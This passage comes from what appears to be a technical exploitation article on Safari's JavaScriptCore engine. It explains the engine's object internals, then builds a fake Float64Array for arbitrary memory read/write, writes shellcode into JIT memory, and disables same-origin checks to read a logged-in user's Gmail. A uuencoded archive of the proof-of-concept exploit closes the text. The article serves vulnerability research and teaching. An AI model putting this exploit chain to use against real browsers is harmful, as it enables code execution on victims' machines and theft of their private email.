  857. 0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10
  858.  
  859. The first quadword is the JSCell. The second one the Butterfly pointer,
  860. which is null since all properties are stored inline. Next are the inline
  861. JSValue slots for the four properties: an integer, false, a double, and a
  862. JSObject pointer. If we were to add more properties to the object, a
  863. butterfly would at some point be allocated to store these.
  864.  
  865. So what does a JSCell contain? JSCell.h reveals:
  866.  
  867. StructureID m_structureID;
  868. This is the most interesting one, we'll explore it further below.
  869.  
  870. IndexingType m_indexingType;
  871. We've already seen this before. It indicates the storage mode of
  872. the object's elements.
  873.  
  874. JSType m_type;
  875. Stores the type of this cell: string, symbol,function,
  876. plain object, ...
  877.  
  878. TypeInfo::InlineTypeFlags m_flags;
  879. Flags that aren't too important for our purposes. JSTypeInfo.h
  880. contains further information.
  881.  
  882. CellState m_cellState;
  883. We've also seen this before. It is used by the garbage collector
  884. during collection.
  885.  
  886. ----[ 5.3 - About structures
  887.  
  888. JSC creates meta-objects which describe the structure, or layout, of a
  889. JavaScript object. These objects represent mappings from property names to
  890. indices into the inline storage or the butterfly (both are treated as
  891. JSValue arrays). In its most basic form, such a structure could be an array
  892. of <property name, slot index> pairs. It could also be implemented as a
  893. linked list or a hash map. Instead of storing a pointer to this structure
  894. in every JSCell instance, the developers instead decided to store a 32-bit
  895. index into a structure table to save some space for the other fields.
  896.  
  897. So what happens when a new property is added to an object? If this happens
  898. for the first time then a new Structure instance will be allocated,
  899. containing the previous slot indices for all exiting properties and an
  900. additional one for the new property. The property would then be stored at
  901. the corresponding index, possibly requiring a reallocation of the
  902. butterfly. To avoid repeating this process, the resulting Structure
  903. instance can be cached in the previous structure, in a data structure
  904. called "transiton table". The original structure might also be adjusted to
  905. allocate more inline or butterfly storage up front to avoid the
  906. reallocation. This mechanism ultimately makes structures reusable.
  907.  
  908. Time for an example. Suppose we have the following JavaScript code:
  909.  
  910. var o = { foo: 42 };
  911. if (someCondition)
  912. o.bar = 43;
  913. else
  914. o.baz = 44;
  915.  
  916. This would result in the creation of the following three Structure
  917. instances, here shown with the (arbitrary) property name to slot index
  918. mappings:
  919.  
  920. +-----------------+ +-----------------+
  921. | Structure 1 | +bar | Structure 2 |
  922. | +--------->| |
  923. | foo: 0 | | foo: 0 |
  924. +--------+--------+ | bar: 1 |
  925. | +-----------------+
  926. | +baz +-----------------+
  927. +-------->| Structure 3 |
  928. | |
  929. | foo: 0 |
  930. | baz: 1 |
  931. +-----------------+
  932.  
  933. Whenever this piece of code was executed again, the correct structure for
  934. the created object would then be easy to find.
  935.  
  936. Essentially the same concept is used by all major engines today. V8 calls
  937. them maps or hidden classes [19] while Spidermonkey calls them Shapes.
  938.  
  939. This technique also makes speculative JIT compilers simpler. Assume the
  940. following function:
  941.  
  942. function foo(a) {
  943. return a.bar + 3;
  944. }
  945.  
  946. Assume further that we have executed the above function a couple of times
  947. inside the interpreter and now decide to compile it to native code for
  948. better performance. How do we deal with the property lookup? We could
  949. simply jump out to the interpreter to perform the lookup, but that would be
  950. quite expensive. Assuming we've also traced the objects that were given to
  951. foo as arguments and found out they all used the same structure. We can now
  952. generate (pseudo-)assembly code like the following. Here r0 initially
  953. points to the argument object:
  954.  
  955. mov r1, [r0 + #structure_id_offset];
  956. cmp r1, #structure_id;
  957. jne bailout_to_interpreter;
  958. mov r2, [r0 + #inline_property_offset];
  959.  
  960. This is just a few instructions slower than a property access in a native
  961. language such as C. Note that the structure ID and property offset are
  962. cached inside the code itself, thus the name for these kind of code
  963. constructs: inline caches.
  964.  
  965. Besides the property mappings, structures also store a reference to a
  966. ClassInfo instance. This instance contains the name of the class
  967. ("Float64Array", "HTMLParagraphElement", ...), which is also accessible
  968. from script via the following slight hack:
  969.  
  970. Object.prototype.toString.call(object);
  971. // Might print "[object HTMLParagraphElement]"
  972.  
  973. However, the more important property of the ClassInfo is its MethodTable
  974. reference. A MethodTable contains a set of function pointers, similar to a
  975. vtable in C++. Most of the object related operations [20] as well as some
  976. garbage collection related tasks (visiting all referenced objects for
  977. example) are implemented through methods in the method table. To give an
  978. idea about how the method table is used, the following code snippet from
  979. JSArray.cpp is shown. This function is part of the MethodTable of the
  980. ClassInfo instance for JavaScript arrays and will be called whenever a
  981. property of such an instance is deleted [21] by script
  982.  
  983. bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,
  984. PropertyName propertyName)
  985. {
  986. JSArray* thisObject = jsCast<JSArray*>(cell);
  987.  
  988. if (propertyName == exec->propertyNames().length)
  989. return false;
  990.  
  991. return JSObject::deleteProperty(thisObject, exec, propertyName);
  992. }
  993.  
  994. As we can see, deleteProperty has a special case for the .length property
  995. of an array (which it won't delete), but otherwise forwards the request to
  996. the parent implementation.
  997.  
  998. The next diagram summarizes (and slightly simplifies) the relationships
  999. between the different C++ classes that together build up the JSC object
  1000. system.
  1001.  
  1002. +------------------------------------------+
  1003. | Butterfly |
  1004. | baz | bar | foo | length: 2 | 42 | 13.37 |
  1005. +------------------------------------------+
  1006. ^
  1007. +---------+
  1008. +----------+ |
  1009. | | |
  1010. +--+ JSCell | | +-----------------+
  1011. | | | | | |
  1012. | +----------+ | | MethodTable |
  1013. | /\ | | |
  1014. References | || inherits | | Put |
  1015. by ID in | +----++----+ | | Get |
  1016. structure | | +-----+ | Delete |
  1017. table | | JSObject | | VisitChildren |
  1018. | | |<----- | ... |
  1019. | +----------+ | | |
  1020. | /\ | +-----------------+
  1021. | || inherits | ^
  1022. | +----++----+ | |
  1023. | | | | associated |
  1024. | | JSArray | | prototype |
  1025. | | | | object |
  1026. | +----------+ | |
  1027. | | |
  1028. v | +-------+--------+
  1029. +-------------------+ | | ClassInfo |
  1030. | Structure +---+ +-->| |
  1031. | | | | Name: "Array" |
  1032. | property: slot | | | |
  1033. | foo : 0 +----------+ +----------------+
  1034. | bar : 1 |
  1035. | baz : 2 |
  1036. | |
  1037. +-------------------+
  1038.  
  1039. --[ 6 - Exploitation
  1040.  
  1041. Now that we know a bit more about the internals of the JSObject class,
  1042. let's get back to creating our own Float64Array instance which will provide
  1043. us with an arbitrary memory read/write primitive. Clearly, the most
  1044. important part will be the structure ID in the JSCell header, as the
  1045. associated structure instance is what makes our piece of memory "look like"
  1046. a Float64Array to the engine. We thus need to know the ID of a Float64Array
  1047. structure in the structure table.
  1048.  
  1049. ----[ 6.1 - Predicting structure IDs
  1050.  
  1051. Unfortunately, structure IDs aren't necessarily static across different
  1052. runs as they are allocated at runtime when required. Further, the IDs of
  1053. structures created during engine startup are version dependent. As such we
  1054. don't know the structure ID of a Float64Array instance and will need to
  1055. determine it somehow.
  1056.  
  1057. Another slight complication arises since we cannot use arbitrary structure
  1058. IDs. This is because there are also structures allocated for other garbage
  1059. collected cells that are not JavaScript objects (strings, symbols, regular
  1060. expression objects, even structures themselves). Calling any method
  1061. referenced by their method table will lead to a crash due to a failed
  1062. assertion. These structures are only allocated at engine startup though,
  1063. resulting in all of them having fairly low IDs.
  1064.  
  1065. To overcome this problem we will make use of a simple spraying approach: we
  1066. will spray a few thousand structures that all describe Float64Array
  1067. instances, then pick a high initial ID and see if we've hit a correct one.
  1068.  
  1069. for (var i = 0; i < 0x1000; i++) {
  1070. var a = new Float64Array(1);
  1071. // Add a new property to create a new Structure instance.
  1072. a[randomString()] = 1337;
  1073. }
  1074.  
  1075. We can find out if we've guessed correctly by using 'instanceof'. If we did
  1076. not, we simply use the next structure.
  1077.  
  1078. while (!(fakearray instanceof Float64Array)) {
  1079. // Increment structure ID by one here
  1080. }
  1081.  
  1082. Instanceof is a fairly safe operation as it will only fetch the structure,
  1083. fetch the prototype from that and do a pointer comparison with the given
  1084. prototype object.
  1085.  
  1086. ----[ 6.2 - Putting things together: faking a Float64Array
  1087.  
  1088. Float64Arrays are implemented by the native JSArrayBufferView class. In
  1089. addition to the standard JSObject fields, this class also contains the
  1090. pointer to the backing memory (we'll refer to it as 'vector', similar to
  1091. the source code), as well as a length and mode field (both 32-bit
  1092. integers).
  1093.  
  1094. Since we place our Float64Array inside the inline slots of another object
  1095. (referred to as 'container' from now on), we'll have to deal with some
  1096. restrictions that arise due to the JSValue encoding. Specifically we
  1097.  
  1098. * cannot set a nullptr butterfly pointer since null isn't a valid
  1099. JSValue. This is fine for now as the butterfly won't be accessed for
  1100. simple element access operations
  1101.  
  1102. * cannot set a valid mode field since it has to be larger than
  1103. 0x00010000 due to the NaN-boxing. We can freely control the length
  1104. field though
  1105.  
  1106. * can only set the vector to point to another JSObject since these are
  1107. the only pointers that a JSValue can contain
  1108.  
  1109. Due to the last constraint we'll set up the Float64Array's vector to point
  1110. to a Uint8Array instance:
  1111.  
  1112. +----------------+ +----------------+
  1113. | Float64Array | +------------->| Uint8Array |
  1114. | | | | |
  1115. | JSCell | | | JSCell |
  1116. | butterfly | | | butterfly |
  1117. | vector ------+---+ | vector |
  1118. | length | | length |
  1119. | mode | | mode |
  1120. +----------------+ +----------------+
  1121.  
  1122. With this we can now set the data pointer of the second array to an
  1123. arbitrary address, providing us with an arbitrary memory read/write.
  1124.  
  1125. Below is the code for creating a fake Float64Array instance using our
  1126. previous exploit primitives. The attached exploit code then creates a
  1127. global 'memory' object which provides convenient methods to read from and
  1128. write to arbitrary memory regions.
  1129.  
  1130. sprayFloat64ArrayStructures();
  1131.  
  1132. // Create the array that will be used to
  1133. // read and write arbitrary memory addresses.
  1134. var hax = new Uint8Array(0x1000);
  1135.  
  1136. var jsCellHeader = new Int64([
  1137. 00, 0x10, 00, 00, // m_structureID, current guess
  1138. 0x0, // m_indexingType
  1139. 0x27, // m_type, Float64Array
  1140. 0x18, // m_flags, OverridesGetOwnPropertySlot |
  1141. // InterceptsGetOwnPropertySlotByIndexEvenWhenLengthIsNotZero
  1142. 0x1 // m_cellState, NewWhite
  1143. ]);
  1144.  
  1145. var container = {
  1146. jsCellHeader: jsCellHeader.encodeAsJSVal(),
  1147. butterfly: false, // Some arbitrary value
  1148. vector: hax,
  1149. lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue()
  1150. };
  1151.  
  1152. // Create the fake Float64Array.
  1153. var address = Add(addrof(container), 16);
  1154. var fakearray = fakeobj(address);
  1155.  
  1156. // Find the correct structure ID.
  1157. while (!(fakearray instanceof Float64Array)) {
  1158. jsCellHeader.assignAdd(jsCellHeader, Int64.One);
  1159. container.jsCellHeader = jsCellHeader.encodeAsJSVal();
  1160. }
  1161.  
  1162. // All done, fakearray now points onto the hax array
  1163.  
  1164. To "visualize" the result, here is some lldb output. The container object
  1165. is located at 0x11321e1a0:
  1166.  
  1167. (lldb) x/6gx 0x11321e1a0
  1168. 0x11321e1a0: 0x0100150000001138 0x0000000000000000
  1169. 0x11321e1b0: 0x0118270000001000 0x0000000000000006
  1170. 0x11321e1c0: 0x0000000113217360 0x0001000000000010
  1171. (lldb) p *(JSC::JSArrayBufferView*)(0x11321e1a0 + 0x10)
  1172. (JSC::JSArrayBufferView) $0 = {
  1173. JSC::JSNonFinalObject = {
  1174. JSC::JSObject = {
  1175. JSC::JSCell = {
  1176. m_structureID = 4096
  1177. m_indexingType = '\0'
  1178. m_type = Float64ArrayType
  1179. m_flags = '\x18'
  1180. m_cellState = NewWhite
  1181. }
  1182. m_butterfly = {
  1183. JSC::CopyBarrierBase = (m_value = 0x0000000000000006)
  1184. }
  1185. }
  1186. }
  1187. m_vector = {
  1188. JSC::CopyBarrierBase = (m_value = 0x0000000113217360)
  1189. }
  1190. m_length = 16
  1191. m_mode = 65536
  1192. }
  1193.  
  1194. Note that m_butterfly as well as m_mode are invalid as we cannot write null
  1195. there. This causes no trouble for now but will be problematic once a garbage
  1196. collection run occurs. We'll deal with this later.
  1197.  
  1198. ----[ 6.3 - Executing shellcode
  1199.  
  1200. One nice thing about JavaScript engines is the fact that all of them make
  1201. use of JIT compiling. This requires writing instructions into a page in
  1202. memory and later executing them. For that reasons most engines, including
  1203. JSC, allocate memory regions that are both writable and executable. This is
  1204. a good target for our exploit. We will use our memory read/write primitive
  1205. to leak a pointer into the JIT compiled code for a JavaScript function,
  1206. then write our shellcode there and call the function, resulting in our own
  1207. code being executed.
  1208.  
  1209. The attached PoC exploit implements this. Below is the relevant part of the
  1210. runShellcode function.
  1211.  
  1212. // This simply creates a function and calls it multiple times to
  1213. // trigger JIT compilation.
  1214. var func = makeJITCompiledFunction();
  1215. var funcAddr = addrof(func);
  1216. print("[+] Shellcode function object @ " + funcAddr);
  1217.  
  1218. var executableAddr = memory.readInt64(Add(funcAddr, 24));
  1219. print("[+] Executable instance @ " + executableAddr);
  1220.  
  1221. var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
  1222. print("[+] JITCode instance @ " + jitCodeAddr);
  1223.  
  1224. var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
  1225. print("[+] RWX memory @ " + codeAddr.toString());
  1226.  
  1227. print("[+] Writing shellcode...");
  1228. memory.write(codeAddr, shellcode);
  1229.  
  1230. print("[!] Jumping into shellcode...");
  1231. func();
  1232.  
  1233. As can be seen, the PoC code performs the pointer leaking by reading a
  1234. couple of pointers from fixed offsets into a set of objects, starting from
  1235. a JavaScript function object. This isn't great (since offsets can change
  1236. between versions), but suffices for demonstration purposes. As a first
  1237. improvement, one should try to detect valid pointers using some simple
  1238. heuristics (highest bits all zero, "close" to other known memory regions,
  1239. ...). Next, it might be possible to detect some objects based on unique
  1240. memory patterns. For example, all classes inheriting from JSCell (such as
  1241. ExecutableBase) will start with a recognizable header. Also, the JIT
  1242. compiled code itself will likely start with a known function prologue.
  1243.  
  1244. Note that starting with iOS 10, JSC no longer allocates a single RWX region
  1245. but rather uses two virtual mappings to the same physical memory region,
  1246. one of them executable and the other one writable. A special version of
  1247. memcpy is then emitted at runtime which contains the (random) address of
  1248. the writable region as immediate value and is mapped --X, preventing an
  1249. attacker from reading the address. To bypass this, a short ROP chain would
  1250. now be required to call this memcpy before jumping into the executable
  1251. mapping.
  1252.  
  1253. ----[ 6.4 - Staying alive past garbage collection
  1254.  
  1255. If we wanted to keep our renderer process alive past our initial exploit
  1256. (we'll later see why we might want that), we are currently faced with an
  1257. immediate crash once the garbage collector kicks in. This happens mainly
  1258. because the butterfly of our faked Float64Array is an invalid pointer, but
  1259. not null, and will thus be accessed during GC. From
  1260. JSObject::visitChildren:
  1261.  
  1262. Butterfly* butterfly = thisObject->m_butterfly.get();
  1263. if (butterfly)
  1264. thisObject->visitButterfly(visitor, butterfly,
  1265. thisObject->structure(visitor.vm()));
  1266.  
  1267. We could set the butterfly pointer of our fake array to nullptr, but this
  1268. would lead to another crash since that value is also a property of our
  1269. container object and would be treated as a JSObject pointer. We will thus
  1270. do the following:
  1271.  
  1272. 1. Create an empty object. The structure of this object will describe
  1273. an object with the default amount of inline storage (6 slots), but
  1274. none of them being used.
  1275.  
  1276. 2. Copy the JSCell header (containing the structure ID) to the
  1277. container object. We've now caused the engine to "forget" about the
  1278. properties of the container object that make up our fake array.
  1279.  
  1280. 3. Set the butterfly pointer of the fake array to nullptr, and, while
  1281. we're at it also replace the JSCell of that object with one from a
  1282. default Float64Array instance
  1283.  
  1284. The last step is required since we might end up with the structure of a
  1285. Float64Array with some property due to our structure spraying before.
  1286.  
  1287. These three steps give us a stable exploit.
  1288.  
  1289. On a final note, when overwriting the code of a JIT compiled function, care
  1290. must be taken to return a valid JSValue (if process continuation is
  1291. desired). Failing to do so will likely result in a crash during the
  1292. next GC, as the returned value will be kept by the engine and inspected by
  1293. the collector.
  1294.  
  1295. ----[ 6.5 - Summary
  1296.  
  1297. At this point it is time for a quick summary of the full exploit:
  1298.  
  1299. 1. Spray Float64Array structures
  1300.  
  1301. 2. Allocate a container object with inline properties that together
  1302. build up a Float64Array instance in its inline property slots. Use a
  1303. high initial structure ID which will likely be correct due to the
  1304. previous spray. Set the data pointer of the array to point to a
  1305. Uint8Array instance.
  1306.  
  1307. 3. Leak the address of the container object and create a fake object
  1308. pointing to the Float64Array inside the container object
  1309.  
  1310. 4. See if the structure ID guess was correct using 'instanceof'. If not
  1311. increase the structure ID by assigning a new value to the
  1312. corresponding property of the container object. Repeat until we have
  1313. a Float64Array.
  1314.  
  1315. 5. Read from and write to arbitrary memory addresses by writing the
  1316. data pointer of the Uint8Array
  1317.  
  1318. 6. With that repair the container and the Float64Array instance to
  1319. avoid crashing during garbage collection
  1320.  
  1321. --[ 7 - Abusing the renderer process
  1322.  
  1323. Usually, from here the next logical step would be to fire up a sandbox
  1324. escape exploit of some sort for further compromise of the target machine.
  1325.  
  1326. Since discussion of these is out of scope for this article, and due to good
  1327. coverage of those in other places, let us instead explore our current
  1328. situation.
  1329.  
  1330. ----[ 7.1 - WebKit process and privilege model
  1331.  
  1332. Since WebKit 2 [22] (circa 2011), WebKit features a multi-process model in
  1333. which a new renderer process is spawned for every tab. Besides stability
  1334. and performance reasons, this also provides the basis for a sandboxing
  1335. infrastructure to limit the damage that a compromised renderer process can
  1336. do to the system.
  1337.  
  1338. ----[ 7.2 - The same-origin policy
  1339.  
  1340. The same-origin policy (SOP) provides the basis for (client-side) web
  1341. security. It prevents content originating from origin A from interfering
  1342. with content originating from another origin B. This includes script level
  1343. access (e.g. accessing DOM objects inside another window) as well as
  1344. network level access (e.g. XMLHttpRequests). Interestingly, in WebKit the
  1345. SOP is enforced inside the renderer processes, which means we can bypass it
  1346. at this point. The same is currently true for all major web browsers, but
  1347. chrome is about to change this with their site-isolation project [23].
  1348.  
  1349. This fact is nothing new and has even been exploited in the past, but it is
  1350. worth discussing. In essence, this means that a renderer process has full
  1351. access to all browser sessions and can send authenticated cross-origin
  1352. requests and read the response. An attacker who compromises a renderer
  1353. process thus obtains access to all the browser sessions of the victim.
  1354.  
  1355. For demonstration purposes we will now modify our exploit to display the
  1356. users gmail inbox.
  1357.  
  1358. ----[ 7.3 - Stealing emails
  1359.  
  1360. There is an interesting field inside the SecurityOrigin class in WebKit:
  1361. m_universalAccess. If set, it will cause all cross-origin checks to
  1362. succeed. We can obtain a reference to the currently active SecurityDomain
  1363. instance by following a set of pointers (whose offsets are again dependent
  1364. on the current Safari version). We can then enable universalAccess for our
  1365. renderer process and can subsequently perform authenticated cross-origin
  1366. XMLHttpRequests. Reading emails from gmail then becomes as simple as
  1367.  
  1368. var xhr = new XMLHttpRequest();
  1369. xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false);
  1370. xhr.send(); // xhr.responseText now contains the full response
  1371.  
  1372. Included is a version of the exploit that does this and displays the
  1373. "users" current gmail inbox. For reasons that should be clear by now this
  1374. does require a valid gmail session in Safari ;)
  1375.  
  1376. --[ 8 - References
  1377.  
  1378. [1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/
  1379. [2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/
  1380. [3] http://trac.webkit.org/wiki/JavaScriptCore
  1381. [4] http://www.ecma-international.org/
  1382. ecma-262/6.0/#sec-ecmascript-data-types-and-values
  1383. [5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects
  1384. [6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format
  1385. [7] http://www.ecma-international.org/
  1386. ecma-262/6.0/#sec-array-exotic-objects
  1387. [8] http://www.ecma-international.org/
  1388. ecma-262/6.0/#sec-ecmascript-standard-built-in-objects
  1389. [9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/
  1390. Reference/Global_Objects/Array/slice).
  1391. [10] https://github.com/WebKit/webkit/
  1392. blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime
  1393. /ArrayPrototype.cpp#L848
  1394. [11] https://developer.mozilla.org/en-US/docs/Web/
  1395. JavaScript/Reference/Global_Objects/Symbol/species
  1396. [12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion
  1397. [13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104
  1398. [14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344
  1399. [15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946
  1400. [16] https://www.gnu.org/software/guile/manual/html_node/
  1401. Conservative-GC.html
  1402. [17] http://www.ecma-international.org/
  1403. ecma-262/6.0/#sec-ecmascript-language-types-number-type
  1404. [18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects
  1405. [19] https://developers.google.com/v8/design#fast-property-access
  1406. [20] http://www.ecma-international.org/
  1407. ecma-262/6.0/#sec-operations-on-objects
  1408. [21] http://www.ecma-international.org/ecma-262/6.0/
  1409. #sec-ordinary-object-internal-methods-and-internal-slots-delete-p
  1410. [22] https://trac.webkit.org/wiki/WebKit2
  1411. [23] https://www.chromium.org/developers/design-documents/site-isolation
  1412.  
  1413. --[ 9 - Source code
  1414.  
  1415. begin 644 src.zip
  1416. M4$L#!`H``````%&N1DD````````````````$`!P`<W)C+U54"0`#":OV5Q6K
  1417. M]E=U>`L``03U`0``!%````!02P,$%`````@`%ZY&2;A,.B1W`P``)@D```X`
  1418. M'`!S<F,O96UA:6PN:'1M;%54"0`#G:KV5PFK]E=U>`L``03U`0``!%````"-
  1419. M5E%OVS80?L^ON'H/DE9;2H:B*&([F)%D78:U*9H@;9$%`2V=;082J9)4;*'M
  1420. M?]^1LA39L=7J11)Y]]WW'7E'CEZ<79Y>?_EP#@N3I2<'H_J%+#DY`!AI4Z9H
  1421. MOP"F,BGAF_L$F$EA!C.6\;0\ADP*J7,6X]#-_K".T=K3@<2*YP:TBL>]PO!4
  1422. MAP^Z=T(F;OQDVX0+\_I5MTF^%%L&3Q85VUDA8L.E@%P1GI_I>="0!TAD7&0H
  1423. M3&A%A5P(5->X,O!R#&0)+\'[3WBU&O>*(CCCFDU3U&`6")IE.)"*SSF%D"F/
  1424. M2\J)HBFN0:%(4*&BV#)&K8&)!'0QU?BUH*!I62/.T,0+K.83KO.4E15ZH5%I
  1425. MF&>,I\#%5*Z`SX"M!S1!6F6XXMKH<%.N@WQ'9GY;+WG[+[B^*5)2:D7X07O:
  1426. M/E6>>K>#._CGZA0>B8#%$]+`8^,6PF0JE>%BW@N&&^X*3:'$T]@Z;6NA5S2;
  1427. M.V499E*59,Z2:*FX01LXXX8_8MAXT/+ZA-_\/S(%#WJU4#`&@4OX_.[?OXW)
  1428. M/]I\:K/;=)(DUIS12\Y\-]2B7*O]W:K=A*.$:\-$C/`G]&@K-&BAD5>&_.:4
  1429. MO*V(3_$J?:'5=V'WL4_C?@/1A\/5'X?!;B+=-'Y.HMK^YRN,3ZDZ:3MW46H1
  1430. M>KV/T%4#6-B]M4;=)K8S;!=-@J.%+R]=\7QPM=/%=">^Y7VTE_>.",]8[V'Q
  1431. MR\0[*>\![\.;7Z+<3;:#IBTU:>M,H:>K9C25,D4F(&9IB@ED]X7@MKA9.HEM
  1432. M<PI#&`8-P%J.J\P=4IH]/`WZ<'MTUXY=J?$&G8_7]G!E$<H<A>^]/;_V^N`M
  1433. MJ`#T<1391A?.I9Q3SXEEYOZC(CJ,?G/MD$QG+-782F8%IJGU/NL'"G4NA49:
  1434. MKLJJ'K`]?[BYQH8I<T'M>T7&M1D=$#1P.?,]:W)S<?[I_FQR/1E[P:8SQ=[O
  1435. M6AU51/PI1,O=-NAV[/$8!D?P_7L+TPWMZ=I_47IH<8VD0\$H%AM(F&%P[&^W
  1436. MZ<J^9A?L[-=62FQ+39BV$DV[&%LD^PVWYUOZ/9T:<RD$@YPI2KSM_&_=X57#
  1437. MT0)2:J"4A:I/..',DB++PS#L/0-=4PHVCN4E@<AE*$4J64)LF^-O6%U"6K<#
  1438. MPPU=2"Y<K!N.2U2CJ!H[&$75A6=DKP/VMWY7UZ'_`5!+`P04````"`#T;D9)
  1439. M%5KXM!8&``!H$@``#``<`'-R8R]I;G0V-"YJ<U54"0`#NSOV5]>J]E=U>`L`
  1440. M`03U`0``!%````"]5_UNVS80_]]/<0NP6D)MQ0F"+&B:`5G;#=NP#*B[%5C1
  1441. M`;1$V6QDTB,IQ\::O<H>9B^V.U*2J8^F'5#,"!";.M['[SY^I^/CT?$QO!)R
  1442. M#VN5E04'NV(6-EIM1<8-+,02HO.SA;`Q"&GYDFN3X!6Z]4QM]EHL5Q:B-(;3
  1443. MV<DYS-FZY`5\I]4_?U=2+_D?I="HJK2B,,D[0^?TX#FSS.XW:%&!YAL4X=+"
  1444. M^=D4C?5L?8^_M61%L9^@A[Q^#L*`L4KS#)@!!K_@^<6UUFR/$E`(:S$B+C/!
  1445. M)"SVEH/2&=?)*"]E:H62I/?\+-K&\.<(\$-8H/92HE2Q%W+I;S'2F#B)+=/N
  1446. MS,`52'X76(PNXLN1DS%WPJ8KB"@ZE4.CG3XI,QS&LEPON!X_:8Z=:E0YGNW&
  1447. M\!A^8G:5Y(52&GU+K)I;C<Y$)^=HHJW)N"<=32*':)L8R[0UKX5=1:0VCELR
  1448. MM464*Q>H)3H-=!^4%%PN[0J^A%.XNH*381WC&3F]K<)OGA!48OG"PW^%J*[X
  1449. MKA#Y/MI.X*)CS6&:&&XC!V:2:[6.FMMQHOD6RX%'<?>>YNRV"XI:O..I'0(%
  1450. MRP)AD2GEQ>4^S$W?EVWBOO>LW@,OT%#_:@NT+ZXPS)X(?>Q*JSMXA?7Q0FM,
  1451. M\I&OV75I+*S8%FMVE[+4%GNX0$M\C9UADJ..$QU7NRY^'"8J\UQ(GG60Z@BC
  1452. M$"L+VY;I1>#0A%0AOKI,L2>QJ:O.Q^PSO2PIBB:(^U'=<"^Y+35*0*;*!;;K
  1453. MW0HKUC6Y8>MV+^)@:"8%H_[U/6E7PB3,//?WKZ#N[BA,+@VL%4]O(4?7;MA-
  1454. M\X!2YF!\\]5;JO'9+L_AT:/Z\/QP^/X]=,YXIZD\*C077C*Y#*!QPRI%(*2R
  1455. ML."','!R+?9-\$=QT$/:`S-W>":EW+#T-JI^X6Q@B/?$.U1C>MD']1W;,I-J
  1456. ML;'8CT6)\/Y7=-U,Q#F+?TIB16Z4,8*`)B#K.4WCEI1J"AO>S':SV>QD%GPF
  1457. M#L(\#\_B6G]6.A:H"@!KB'J=QK,O)R:H_,-4_S#_U07S@5Q32MLYI82V<A=3
  1458. M-@?SWDW[9TMQY70KQQC\M[X>IPNUPS1,4.P9L"PS</K[V07!TG2&2^#8N$QM
  1459. MF"5&3$8'OQPR1BSEO%Q$]),P;R4A&!$TG+5CL4^OKXZ9ZRS[H)EN$:.I#]6H
  1460. M[1,N5EKN+($G2D?N!PYV/M0D/%@`E=602A[L$_+!,[UUWY=BRR76=,9W'9/7
  1461. M-K0I!HSZ^A%O'[+E6[$?9"D)6"P89$KPU![8K_>`CT1=[1`UV?9`Z'%IX.,W
  1462. MS(@4L<8AL>96I,$(P%INS&(Z7`GXGN<&Z<%'0]V[WI1^?E#QXI'0,";_Q^!Y
  1463. M.6FL/>>ITHRX@F:)9Y":H$%MN'9J3`*OV"TF.V6:UU?1FI\3E@"IZ<60R;8>
  1464. M0].@HJ+,A]-L?XV)*)^`1"5F`,Y!J.LITQ@..-\KZE&U'QS5O+C!&<&E*I>K
  1465. MP'<"H?'M"%.8)Q*'=(?822JB]A58![-+_/<4NF[@Z>/'?1?(XR\./F.1]O>A
  1466. MX86E=<=OOGYU#A]T'*WQ2]AF4^RK4='(!\+WW97`=<453"7NT'<*)QX5E5^#
  1467. MXI`&J`1O./5#D,D:0,F7D0QS-@3<Q0!2=0.CU%^R:GKL]/Y0&YR%#I;D9UFG
  1468. M[7Z"6_-E-S2&V5UT0T$EPZ$@'40,9W$8#06"#:'W+IA/";)3ODY!J<F90Y#D
  1469. M5NN7,]'.:VV5+G]=;4:A"QT,42Q(]1"&#5"G0T!-^T`AP0T#A:\R_Q=0TQ90
  1470. MTX\!]11WD,^(TOW(OX%7VS:]^S8]>1BA[5VOO^`1Y=#CZG4_JQ:-9.2+F#BC
  1471. MOU1G-3[AJW"U-@RN$%G5"54LA]E1<S+QCX\&65=P\KPAFJ1B'GSU5RDCA@X"
  1472. MQ6&_4D46L%`R&AV8=GA^-,5R$PZ(RKGHX%T<'R8,RM68-YLU-7"CZ[K3H0^H
  1473. M:T1[&J>AQGFGE!_0V(C6&N=J[8AX[1;VTF!F_8YAZM3^QK5JS7%:VIK1U7KB
  1474. MII?;`)A%*#$1#N_#C@!W',71!K44WVT*)1PIO^:+'X5-$G@2C_X%4$L#!!0`
  1475. M```(``^N1DF4@XGQ3`,``%`(```,`!P`<W)C+W!W;BYH=&UL550)``..JO97
  1476. M":OV5W5X"P`!!/4!```$4````(566V_:,!1^[Z\XY:5!T$`OZD.A:!6EVJIJ
  1477. MG0I:-W5],(D#;A,[LD^X:.I_WW$N)*'0(82#_9WS?>=B._W#FX?AY/>/$<PQ
  1478. M"@<'_6+@S!\<`/0-KD-NGP"FRE_#W_01(%`2CP,6B7!]"9&2RL3,X[UT]=T:
  1479. M=G++U(FG18Q@M'?52%"$QGTUC0%!TOG!-D1(O#C_'!(OY1:@1&1J@T1Z*)2$
  1480. M6),_)S*SYD8\@*^\).(271N4*Z3D>L)7"*TK("2TX.B//"JB28=.!QYY'%*0
  1481. M!G#.X>[;Y-A342Q"[H.G?$XIT<!*WJ7`>8J<B0678.8\#%,<DS[H1!H0Z.:N
  1482. M"X;)7)C,&8VQYHAK6'!MK#^?QUSZI!F,D!XA,)\R0*N!6)&.6*N8:S)206`X
  1483. MFL(_#%42^C`EJX@P"X).$R1U1$/?F5(^<*F2V3R-0JJE6T\BZ1T7`3B;4*H9
  1484. M%0$XA\+\3$+*)9N&W&E6E^TGJT3C^?@%[L;#36!2(2PV9BY<3Y5&(6>-9J]F
  1485. M3NE(M"SG\L+4=$;LC5-EAGEA;O-Y9UO*Q@"9GG%T5MN`DA!6=1D5VCRYMTI[
